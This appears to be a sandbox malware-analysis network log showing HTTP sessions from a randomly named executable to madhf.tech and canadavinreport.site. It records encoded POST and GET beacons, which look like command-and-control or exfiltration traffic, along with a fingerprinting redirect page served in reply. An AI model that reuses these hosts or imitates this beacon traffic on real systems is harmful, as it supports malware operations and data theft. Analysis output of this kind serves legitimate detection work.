                                                            Data Ascii: TMo0=pvJQl;a*Z[$&iPrm:]lQJU2amBIh?LH:FS^TF?xcI`[*Z**kQ[DRnW<~CJ!m\F{P;[ xzC`rM2]yGll&,wS|lglvE)oNfg*9$}d@k}2!! MjoAbYg'_XYCCeOd6+6og+vOq~y=TGNvzD[bjxeFB}6G9k6^/;8G0uWqbykY-\&RA8Y3Z8%P|q8?WnrSH+px2]WZ^>%fWxV\o


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            7192.168.2.44978815.204.67.7801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:12:32.012610912 CET10725OUTPOST /0mwe/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 10304
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.madhf.tech
                                                            Origin: http://www.madhf.tech
                                                            Referer: http://www.madhf.tech/0mwe/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 46 34 58 73 73 64 63 57 39 64 59 6d 56 33 45 6d 74 39 72 6d 57 47 71 50 39 4a 4d 30 4f 68 49 4d 7a 4b 53 71 52 70 72 7a 48 4e 43 39 49 30 4a 68 63 64 4c 56 69 4f 69 58 76 79 7a 56 76 6a 31 66 45 39 67 6e 45 44 70 4c 5a 65 45 61 79 6c 5a 57 4a 65 35 4f 33 76 6c 6c 63 5a 50 59 6f 66 44 57 61 50 36 6d 6b 62 30 38 79 68 46 45 38 4f 70 48 46 44 74 46 6f 76 39 39 46 67 64 36 79 6a 48 38 63 4d 47 31 2b 6c 4b 79 68 44 76 77 4a 52 4a 7a 57 67 6d 67 50 78 32 43 33 4c 63 6f 59 55 33 47 4e 58 64 74 6f 50 68 32 51 45 2b 6d 31 33 2f 35 61 43 65 48 65 44 35 71 61 45 4f 76 54 63 33 45 79 6a 6b 72 31 66 72 32 46 38 66 47 79 38 65 49 2f 5a 6a 41 66 55 77 2b 78 76 67 33 59 42 75 4e 62 77 59 4a 30 39 75 44 4f 51 5a 75 59 51 36 59 6b 63 74 33 61 43 56 55 34 4e 54 64 59 59 4d 65 38 6a 58 45 59 4a 48 39 73 4e 36 36 47 73 4d 5a 65 39 2b 45 51 62 69 77 4c 67 45 49 31 51 49 6d 57 65 63 73 70 52 45 71 72 6c 51 36 52 68 71 57 75 4a 63 77 49 4f 6c 4f 57 32 6e 6d 76 53 54 44 4b 4e 6e 30 51 4b 5a 4a 41 41 [TRUNCATED]
                                                            Data Ascii: XHa8pH8=F4XssdcW9dYmV3Emt9rmWGqP9JM0OhIMzKSqRprzHNC9I0JhcdLViOiXvyzVvj1fE9gnEDpLZeEaylZWJe5O3vllcZPYofDWaP6mkb08yhFE8OpHFDtFov99Fgd6yjH8cMG1+lKyhDvwJRJzWgmgPx2C3LcoYU3GNXdtoPh2QE+m13/5aCeHeD5qaEOvTc3Eyjkr1fr2F8fGy8eI/ZjAfUw+xvg3YBuNbwYJ09uDOQZuYQ6Ykct3aCVU4NTdYYMe8jXEYJH9sN66GsMZe9+EQbiwLgEI1QImWecspREqrlQ6RhqWuJcwIOlOW2nmvSTDKNn0QKZJAA6eF0cdqD+6ogep3P6kpZ0c08EcXPRxm2/IEiXJ7FyI+MpgggFrR2IniryKRfqFytGVo3txefftxuJOtHYltO//7zfwrokM3Y+18Hdy3yJ1XqhY8MtjsNU0xKSwVTT1Oo+s5RUeN0ks2FAJryUxaABDicSnT77Tdxas9N7LzOolcXFPq0oMXM/uiowWKsACFYascK2+0hY3T5bbGs9memn78FUKq5MY0nh4racD5VfrGnehx4N9BPD7p4ys+4EqHGj/DLLX1yRhzGu2erq8pTAwPWX2s0xKe0Wgto/O8gfsrMA68P3z6+xc+sKOBwsTLR/aRGCk2Wmng5E0qNrWc32xCNGjqP0zDXclMYbQBKXaaaXuN7LSLBc0uE6SLhN2xZUgWYWOKQcV7nVC9ilHuIO3TEKx173OSZl3uszBhSbrO2Kol7cni18/6TfIFT/3Xf3jbUmO+qmKoRmtMlbeWvmpG+VfhzUe4OFdcaOR8c4P8yVbZBVF72QsStA8XCP2pDzU4zkbEgm4IPYQHwKcDg2VvdVDqi6gcusunQkJFPAAWEV0qMKAtaXO8dhceS9Qg0ooR/jjpgwjdhFDHZdf8LbhxEBvg/JYkg5YBxFERh08TVSO/Cbwn18AQcqsEPWKyMtNawyKNY5lERb4xxN6JjMq+okp+g2s+685 [TRUNCATED]
                                                            Nov 29, 2024 15:12:33.436283112 CET871INHTTP/1.1 200 OK
                                                            date: Fri, 29 Nov 2024 14:12:33 GMT
                                                            server: Apache
                                                            set-cookie: __tad=1732889553.1843627; expires=Mon, 27-Nov-2034 14:12:33 GMT; Max-Age=315360000
                                                            vary: Accept-Encoding
                                                            content-encoding: gzip
                                                            content-length: 576
                                                            content-type: text/html; charset=UTF-8
                                                            connection: close
                                                            Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4a 51 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 2a d3 b1 5a 5b f2 24 26 69 50 e4 bf 97 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 cb 96 fa ae 4a ca 16 55 cd 0f 32 d4 61 d5 ab ba 6d 0a 42 dd 96 e2 18 49 ca a0 bd 19 08 68 3f a0 4c 09 ef 48 dc a8 ad 3a 46 53 08 5e cb 54 dc 04 d1 18 bb 46 3f 78 63 49 18 d3 60 d1 1b 5b dc 84 b4 2a c5 11 fb 5a aa 2a d9 2a 0f 1e 6b e3 51 d3 cf ce d8 5b 90 90 b5 44 c3 52 88 dd 6e 57 3c ab 13 8b 7e 87 e2 43 b6 4a 12 21 e0 0a 09 14 90 e9 d1 6d 08 5c 03 17 8b 05 f4 46 7b 17 50 3b 5b 07 20 07 78 87 7a 43 c8 c0 c7 12 60 1a a0 16 e1 85 72 18 bc eb 4d e0 98 32 5d 80 c6 79 08 ae 47 a6 a8 e0 6c d2 6c ac 26 e3 2c 1f 77 dd b5 d2 b7 97 53 aa 7c 0e f7 c9 6c 67 6c ed 76 45 e7 b4 8a a8 c2 e3 d0 29 8d f9 6f 9e 4e b3 66 90 67 ef b3 f9 2a 39 24 09 f9 7d 64 b2 ca 40 e0 6b ff 7d 32 21 21 20 4d 9b fc cf 6a 6f a2 41 e6 cf 62 c3 9a e1 db a4 59 c2 a7 67 27 5f ae 58 87 aa f3 fb de 59 43 8e 43 eb 65 94 1d f0 10 99 4f ac 64 [TRUNCATED]
                                                            Data Ascii: TMo0=pvJQl;a*Z[$&iPrm:]lQJU2amBIh?LH:FS^TF?xcI`[*Z**kQ[DRnW<~CJ!m\F{P;[ xzC`rM2]yGll&,wS|lglvE)oNfg*9$}d@k}2!! MjoAbYg'_XYCCeOd6+6og+vOq~y=TGNvzD[bjxeFB}6G9k6^/;8G0uWqbykY-\&RA8Y3Z8%P|q8?WnrSH+px2]WZ^>%fWxV\o


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            8192.168.2.44979515.204.67.7801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:12:34.662739038 CET361OUTGET /0mwe/?XHa8pH8=I6/MvosI1M4GXnAB4bTWBGDp85hsOSNe9tmkEszzRtOWIwRcIvXs05Ha3jXYoQpxdY5hB0FWQM1VzVFsJbVN4/hgDK7ji4WzdcK25sZRimZDxLZaBEcPhbk=&cBL4=dBU4KtqPg HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Connection: close
                                                            Host: www.madhf.tech
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Nov 29, 2024 15:12:36.125531912 CET1236INHTTP/1.1 200 OK
                                                            date: Fri, 29 Nov 2024 14:12:35 GMT
                                                            server: Apache
                                                            set-cookie: __tad=1732889555.3534010; expires=Mon, 27-Nov-2034 14:12:35 GMT; Max-Age=315360000
                                                            vary: Accept-Encoding
                                                            content-length: 1484
                                                            content-type: text/html; charset=UTF-8
                                                            connection: close
                                                            Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 6d 61 64 68 66 2e 74 65 63 68 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6a 73 2f 66 69 6e 67 65 72 70 72 69 6e 74 2f 69 69 66 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 76 61 72 20 72 65 64 69 72 65 63 74 5f 6c 69 6e 6b 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 61 64 68 66 2e 74 65 63 68 2f 30 6d 77 65 2f 3f 58 48 61 38 70 48 38 3d 49 36 2f 4d 76 6f 73 49 31 4d 34 47 58 6e 41 42 34 62 54 57 42 47 44 70 38 35 68 73 4f 53 4e 65 39 74 6d 6b 45 73 7a 7a 52 74 4f 57 49 77 52 63 49 76 58 73 30 35 48 61 33 6a 58 59 6f 51 70 78 64 59 35 68 42 30 46 57 51 4d 31 56 7a 56 46 73 4a 62 56 4e 34 2f 68 67 44 4b 37 6a 69 34 57 7a 64 63 4b 32 35 73 5a 52 69 6d 5a 44 78 4c 5a 61 42 45 63 50 68 62 6b 3d 26 63 42 4c 34 3d 64 42 55 34 4b 74 71 50 [TRUNCATED]
                                                            Data Ascii: <html><head><title>madhf.tech</title><script type="text/javascript" src="/js/fingerprint/iife.min.js"></script><script type="text/javascript">var redirect_link = 'http://www.madhf.tech/0mwe/?XHa8pH8=I6/MvosI1M4GXnAB4bTWBGDp85hsOSNe9tmkEszzRtOWIwRcIvXs05Ha3jXYoQpxdY5hB0FWQM1VzVFsJbVN4/hgDK7ji4WzdcK25sZRimZDxLZaBEcPhbk=&cBL4=dBU4KtqPg&';// Set a timeout of 300 microseconds to execute a redirect if the fingerprint promise fails for some reasonfunction fallbackRedirect() {window.location.replace(redirect_link+'fp=-7');}try {const rdrTimeout = setTimeout(fallbackRedirect, 300);var fpPromise = FingerprintJS.load({monitoring: false});fpPromise.then(fp => fp.get()).then(result => { var fprt = 'fp='+result.visitorId;clearTimeout(rdrTimeout);window.location.replace(redirect_link+fprt);});} catch(err) {fallbackRedirect();}</script><style> body { background:#101c36 } </style></head><body bgcolor="#ffffff" t
                                                            Nov 29, 2024 15:12:36.125555038 CET520INData Raw: 65 78 74 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 27 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 27 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 61 64 68 66 2e 74 65 63 68 2f 30 6d 77 65 2f 3f 58 48
                                                            Data Ascii: ext="#000000"><div style='display: none;'><a href='http://www.madhf.tech/0mwe/?XHa8pH8=I6/MvosI1M4GXnAB4bTWBGDp85hsOSNe9tmkEszzRtOWIwRcIvXs05Ha3jXYoQpxdY5hB0FWQM1VzVFsJbVN4/hgDK7ji4WzdcK25sZRimZDxLZaBEcPhbk=&cBL4=dBU4KtqPg&fp=-3'>Click here t


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            9192.168.2.449811185.27.134.206801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:12:41.799408913 CET653OUTPOST /g3h7/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 204
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.canadavinreport.site
                                                            Origin: http://www.canadavinreport.site
                                                            Referer: http://www.canadavinreport.site/g3h7/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 51 77 43 32 39 6c 67 76 46 79 30 64 58 5a 4a 63 73 69 6f 65 6b 4e 69 68 5a 54 5a 61 36 39 71 76 77 7a 54 66 53 76 59 42 69 65 55 70 47 65 64 46 2b 41 76 71 44 78 47 41 66 4f 64 45 48 54 5a 38 71 79 77 51 62 4c 4d 6e 4f 67 6d 7a 4f 56 72 41 6a 78 49 75 4f 73 4d 77 4f 76 75 63 4a 64 6a 6f 42 78 72 4b 54 66 56 75 55 44 31 57 79 32 38 33 4a 53 66 75 5a 59 41 41 47 41 30 32 4a 59 73 47 7a 36 67 56 4e 5a 65 46 65 59 45 43 46 30 34 44 4a 4b 5a 6e 42 2b 72 64 47 55 6f 42 6e 4a 4c 53 69 44 62 51 57 67 47 6c 73 6f 47 45 73 6f 43 55 66 33 67 4d 45 59 66 4f 72 4d 69 57 45 48 62 76 4e 67 3d 3d
                                                            Data Ascii: XHa8pH8=QwC29lgvFy0dXZJcsioekNihZTZa69qvwzTfSvYBieUpGedF+AvqDxGAfOdEHTZ8qywQbLMnOgmzOVrAjxIuOsMwOvucJdjoBxrKTfVuUD1Wy283JSfuZYAAGA02JYsGz6gVNZeFeYECF04DJKZnB+rdGUoBnJLSiDbQWgGlsoGEsoCUf3gMEYfOrMiWEHbvNg==
                                                            Nov 29, 2024 15:12:43.125696898 CET684INHTTP/1.1 200 OK
                                                            Server: nginx
                                                            Date: Fri, 29 Nov 2024 14:12:42 GMT
                                                            Content-Type: text/html
                                                            Transfer-Encoding: chunked
                                                            Connection: close
                                                            Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                            Cache-Control: no-cache
                                                            Content-Encoding: br
                                                            Data Raw: 31 62 61 0d 0a a1 38 1a 00 20 d3 74 39 ad 1c b5 70 c1 12 27 79 52 f3 a9 bf 55 d1 77 ed c0 39 51 27 3a d5 c8 06 6b 4b 4e 1c f0 84 b7 5f 2b 8c 7e c2 ab ce e1 e9 3f 37 81 ae 5d 48 0c 82 9c 92 c0 34 27 3d f4 6a 0c f0 93 8e e3 19 36 99 72 0b da 5f 40 d0 b4 d8 8d 85 f2 4d 5f ca 72 82 91 b3 08 2c c0 25 27 3f bf 6b 9b 87 0a 0b 28 45 ac 83 83 20 57 c6 a5 03 87 a5 6c 71 94 23 f4 0f f1 dc fd 77 51 78 72 db 00 1d e0 3a 62 e5 e7 37 b6 32 92 72 d6 68 59 d7 cf cf ad 10 fb 5b 7f 4f ff 61 32 97 f2 7a 3e 57 bb 4b 1f be 32 ec 63 27 21 c4 5e f2 da b7 ec fb 2e af 7d 18 22 17 ca 20 ca 1b fb e9 bf 2f 21 87 15 84 28 bc 38 2a a0 45 10 e5 c3 6e 67 43 42 ff e3 9d 29 09 d0 7f 40 9f 67 99 56 c2 72 a1 a2 28 b6 a9 c8 4b 93 27 59 21 ac ce 04 d7 29 44 58 c7 bc 2d ca 24 4d 4d ec 9c 2b 73 93 08 91 96 82 67 22 ce ca 4c a7 c2 97 bc 81 4c 22 c9 85 49 f3 b2 78 a2 8f a3 dc a5 a5 10 aa 14 a2 88 7c a2 63 9d 47 2d ae ed c4 4c 1b 5d 01 6c 49 f8 fb bb 74 8b a5 84 21 d2 90 c0 ee bf be ff a0 d6 99 f9 6e ba 0c 0c 8e b1 c2 1a a1 10 d6 80 99 1f ca [TRUNCATED]
                                                            Data Ascii: 1ba8 t9p'yRUw9Q':kKN_+~?7]H4'=j6r_@M_r,%'?k(E Wlq#wQxr:b72rhY[Oa2z>WK2c'!^.}" /!(8*EngCB)@gVr(K'Y!)DX-$MM+sg"LL"Ix|cG-L]lIt!nvwA;gHR82q%5MND7<E-$]d@c\ _p,X((zjy)qD9X-xeTB%Bph"0


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            10192.168.2.449822185.27.134.206801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:12:44.465652943 CET673OUTPOST /g3h7/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 224
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.canadavinreport.site
                                                            Origin: http://www.canadavinreport.site
                                                            Referer: http://www.canadavinreport.site/g3h7/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 51 77 43 32 39 6c 67 76 46 79 30 64 46 70 35 63 74 46 38 65 69 74 69 6d 46 44 5a 61 77 64 71 72 77 7a 58 66 53 74 30 52 69 73 41 70 48 39 4a 46 73 52 76 71 45 78 47 41 48 2b 64 64 44 54 59 2b 71 79 38 75 62 4c 67 6e 4f 67 79 7a 4f 56 62 41 6a 47 38 76 55 63 4d 79 47 50 75 65 48 39 6a 6f 42 78 72 4b 54 66 52 45 55 44 74 57 79 48 4d 33 4a 7a 66 74 48 49 41 44 42 41 30 32 43 34 73 61 7a 36 67 33 4e 62 71 76 65 61 38 43 46 30 6f 44 4a 66 74 6f 55 4f 72 62 43 55 70 33 76 38 75 37 6a 57 75 42 4a 77 54 44 72 64 69 44 67 4f 50 4f 4f 47 42 62 57 59 37 39 32 4c 72 69 4a 45 6d 6d 57 71 55 36 62 43 7a 39 6c 41 71 32 47 2f 73 67 2f 6f 54 71 42 4a 73 3d
                                                            Data Ascii: XHa8pH8=QwC29lgvFy0dFp5ctF8eitimFDZawdqrwzXfSt0RisApH9JFsRvqExGAH+ddDTY+qy8ubLgnOgyzOVbAjG8vUcMyGPueH9joBxrKTfREUDtWyHM3JzftHIADBA02C4saz6g3Nbqvea8CF0oDJftoUOrbCUp3v8u7jWuBJwTDrdiDgOPOOGBbWY792LriJEmmWqU6bCz9lAq2G/sg/oTqBJs=
                                                            Nov 29, 2024 15:12:45.834856987 CET684INHTTP/1.1 200 OK
                                                            Server: nginx
                                                            Date: Fri, 29 Nov 2024 14:12:45 GMT
                                                            Content-Type: text/html
                                                            Transfer-Encoding: chunked
                                                            Connection: close
                                                            Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                            Cache-Control: no-cache
                                                            Content-Encoding: br
                                                            Data Raw: 31 62 61 0d 0a a1 38 1a 00 20 d3 74 39 ad 1c b5 70 c1 12 27 79 52 f3 a9 bf 55 d1 77 ed c0 39 51 27 3a d5 c8 06 6b 4b 4e 1c f0 84 b7 5f 2b 8c 7e c2 ab ce e1 e9 3f 37 81 ae 5d 48 0c 82 9c 92 c0 34 27 3d f4 6a 0c f0 93 8e e3 19 36 99 72 0b da 5f 40 d0 b4 d8 8d 85 f2 4d 5f ca 72 82 91 b3 08 2c c0 25 27 3f bf 6b 9b 87 0a 0b 28 45 ac 83 83 20 57 c6 a5 03 87 a5 6c 71 94 23 f4 0f f1 dc fd 77 51 78 72 db 00 1d e0 3a 62 e5 e7 37 b6 32 92 72 d6 68 59 d7 cf cf ad 10 fb 5b 7f 4f ff 61 32 97 f2 7a 3e 57 bb 4b 1f be 32 ec 63 27 21 c4 5e f2 da b7 ec fb 2e af 7d 18 22 17 ca 20 ca 1b fb e9 bf 2f 21 87 15 84 28 bc 38 2a a0 45 10 e5 c3 6e 67 43 42 ff e3 9d 29 09 d0 7f 40 9f 67 99 56 c2 72 a1 a2 28 b6 a9 c8 4b 93 27 59 21 ac ce 04 d7 29 44 58 c7 bc 2d ca 24 4d 4d ec 9c 2b 73 93 08 91 96 82 67 22 ce ca 4c a7 c2 97 bc 81 4c 22 c9 85 49 f3 b2 78 a2 8f a3 dc a5 a5 10 aa 14 a2 88 7c a2 63 9d 47 2d ae ed c4 4c 1b 5d 01 6c 49 f8 fb bb 74 8b a5 84 21 d2 90 c0 ee bf be ff a0 d6 99 f9 6e ba 0c 0c 8e b1 c2 1a a1 10 d6 80 99 1f ca [TRUNCATED]
                                                            Data Ascii: 1ba8 t9p'yRUw9Q':kKN_+~?7]H4'=j6r_@M_r,%'?k(E Wlq#wQxr:b72rhY[Oa2z>WK2c'!^.}" /!(8*EngCB)@gVr(K'Y!)DX-$MM+sg"LL"Ix|cG-L]lIt!nvwA;gHR82q%5MND7<E-$]d@c\ _p,X((zjy)qD9X-xeTB%Bph"0


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            11192.168.2.449828185.27.134.206801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:12:47.121828079 CET10755OUTPOST /g3h7/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 10304
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.canadavinreport.site
                                                            Origin: http://www.canadavinreport.site
                                                            Referer: http://www.canadavinreport.site/g3h7/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 51 77 43 32 39 6c 67 76 46 79 30 64 46 70 35 63 74 46 38 65 69 74 69 6d 46 44 5a 61 77 64 71 72 77 7a 58 66 53 74 30 52 69 73 34 70 47 50 52 46 2b 69 33 71 46 78 47 41 5a 4f 64 41 44 54 59 2f 71 79 30 71 62 4c 63 64 4f 6b 43 7a 50 30 37 41 6c 30 55 76 61 73 4d 79 4b 76 75 44 4a 64 6a 48 42 77 48 47 54 66 42 45 55 44 74 57 79 45 6b 33 4c 69 66 74 46 49 41 41 47 41 30 36 4a 59 73 6d 7a 36 34 4e 4e 59 47 56 65 75 41 43 45 51 30 44 4c 74 31 6f 57 75 72 5a 50 30 70 2f 76 38 71 67 6a 51 4b 4e 4a 77 6d 6d 72 62 65 44 71 4c 32 33 63 32 45 41 45 6f 72 5a 70 59 62 2b 42 6c 36 6c 56 61 46 43 55 42 76 4b 2b 42 43 68 4d 64 64 51 67 4b 66 72 58 4a 53 41 6a 69 35 41 7a 72 79 54 55 66 53 76 57 51 2b 49 62 76 50 67 4e 66 79 74 71 35 35 52 4b 37 73 70 48 66 30 2f 63 54 48 56 59 64 32 6b 6c 75 61 53 50 6f 6a 39 78 50 34 79 58 61 5a 53 4c 6a 37 6c 6f 69 7a 48 4f 47 56 56 35 38 54 53 66 6f 51 51 4a 41 43 61 6c 41 55 78 38 67 58 64 66 66 45 42 58 44 4f 4b 47 43 44 41 66 70 4f 56 57 63 46 30 63 74 [TRUNCATED]
                                                            Data Ascii: XHa8pH8=QwC29lgvFy0dFp5ctF8eitimFDZawdqrwzXfSt0Ris4pGPRF+i3qFxGAZOdADTY/qy0qbLcdOkCzP07Al0UvasMyKvuDJdjHBwHGTfBEUDtWyEk3LiftFIAAGA06JYsmz64NNYGVeuACEQ0DLt1oWurZP0p/v8qgjQKNJwmmrbeDqL23c2EAEorZpYb+Bl6lVaFCUBvK+BChMddQgKfrXJSAji5AzryTUfSvWQ+IbvPgNfytq55RK7spHf0/cTHVYd2kluaSPoj9xP4yXaZSLj7loizHOGVV58TSfoQQJACalAUx8gXdffEBXDOKGCDAfpOVWcF0ct+WMQh9UOOPOuSaT8uFcY0baoT7rNui1QyCmqBdW2aQhftVLBPz0Fz9ts/9KTLHDj5d5YKSDm7TA21YKnR4FRTilyEhqDnnnmkkHF9QiV4AqM2fHHEQpJ0ggVJGswCzSxjpYvPCPvlOFkCC9wy9JWyiVSwF7LHXnrpoMmRJ11z1peGLQjIdhUap0M0WvcO392d+iRvu+w/bz75mhTzcmGAyf7bFNGhMNyExYRlW8vILx3m7LiOmajyTER/p6rJgVdDcUdldhjy7JSnwmmUSjcMqTClghQzL7CIMU83j3XnhgK3VxjuJCNo4vHwzB2HSDwc3SH8l3I1F5ufRi60ETLSbeoEFNZfkCc9UiUH4HUxeutX9Ui6c2+FRAHZPoyhKN8uiU4SFWW2rBXK3RTloYRnGYaesn346UPJY1+qtGleFpxZfqNh1klUCnsxQFL/UcyQLTZIAUkNM6X4C0oP4VER0xXjTCdvzA76iGC3qDcDT8TRRg/leM7pmqq4cTAyzkRV+dbXuM9yYZorq+0ISGDHYG+ozA07trywruR8PjynavjtJyapZ+BtUzqL22nmqVicr3BNVls6uHtlpdkxA/NbE5kuvwptbCvFYe0D701jkSHEoKrT0ceUSUrFDk19vvx4P+1f/41unGaz0PpPRte0KcGDzKlZf2LlY [TRUNCATED]
                                                            Nov 29, 2024 15:12:48.402462959 CET684INHTTP/1.1 200 OK
                                                            Server: nginx
                                                            Date: Fri, 29 Nov 2024 14:12:48 GMT
                                                            Content-Type: text/html
                                                            Transfer-Encoding: chunked
                                                            Connection: close
                                                            Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                            Cache-Control: no-cache
                                                            Content-Encoding: br
                                                            Data Raw: 31 62 61 0d 0a a1 38 1a 00 20 d3 74 39 ad 1c b5 70 c1 12 27 79 52 f3 a9 bf 55 d1 77 ed c0 39 51 27 3a d5 c8 06 6b 4b 4e 1c f0 84 b7 5f 2b 8c 7e c2 ab ce e1 e9 3f 37 81 ae 5d 48 0c 82 9c 92 c0 34 27 3d f4 6a 0c f0 93 8e e3 19 36 99 72 0b da 5f 40 d0 b4 d8 8d 85 f2 4d 5f ca 72 82 91 b3 08 2c c0 25 27 3f bf 6b 9b 87 0a 0b 28 45 ac 83 83 20 57 c6 a5 03 87 a5 6c 71 94 23 f4 0f f1 dc fd 77 51 78 72 db 00 1d e0 3a 62 e5 e7 37 b6 32 92 72 d6 68 59 d7 cf cf ad 10 fb 5b 7f 4f ff 61 32 97 f2 7a 3e 57 bb 4b 1f be 32 ec 63 27 21 c4 5e f2 da b7 ec fb 2e af 7d 18 22 17 ca 20 ca 1b fb e9 bf 2f 21 87 15 84 28 bc 38 2a a0 45 10 e5 c3 6e 67 43 42 ff e3 9d 29 09 d0 7f 40 9f 67 99 56 c2 72 a1 a2 28 b6 a9 c8 4b 93 27 59 21 ac ce 04 d7 29 44 58 c7 bc 2d ca 24 4d 4d ec 9c 2b 73 93 08 91 96 82 67 22 ce ca 4c a7 c2 97 bc 81 4c 22 c9 85 49 f3 b2 78 a2 8f a3 dc a5 a5 10 aa 14 a2 88 7c a2 63 9d 47 2d ae ed c4 4c 1b 5d 01 6c 49 f8 fb bb 74 8b a5 84 21 d2 90 c0 ee bf be ff a0 d6 99 f9 6e ba 0c 0c 8e b1 c2 1a a1 10 d6 80 99 1f ca [TRUNCATED]
                                                            Data Ascii: 1ba8 t9p'yRUw9Q':kKN_+~?7]H4'=j6r_@M_r,%'?k(E Wlq#wQxr:b72rhY[Oa2z>WK2c'!^.}" /!(8*EngCB)@gVr(K'Y!)DX-$MM+sg"LL"Ix|cG-L]lIt!nvwA;gHR82q%5MND7<E-$]d@c\ _p,X((zjy)qD9X-xeTB%Bph"0


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            12192.168.2.449834185.27.134.206801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:12:49.784210920 CET371OUTGET /g3h7/?XHa8pH8=dyqW+SkpLS8uL5dSny8q8PjeDBZe49z1zEHoC4ozp/UuBc9Lrzv6UHKMHP5rOiU//FkNbu8cLS6TGHyjoU1BRpkPLcScFLLxAHuiMJY3F0pG7ioCFxuNP/M=&cBL4=dBU4KtqPg HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Connection: close
                                                            Host: www.canadavinreport.site
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Nov 29, 2024 15:12:51.146523952 CET1185INHTTP/1.1 200 OK
                                                            Server: nginx
                                                            Date: Fri, 29 Nov 2024 14:12:50 GMT
                                                            Content-Type: text/html
                                                            Content-Length: 984
                                                            Connection: close
                                                            Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                            Cache-Control: no-cache
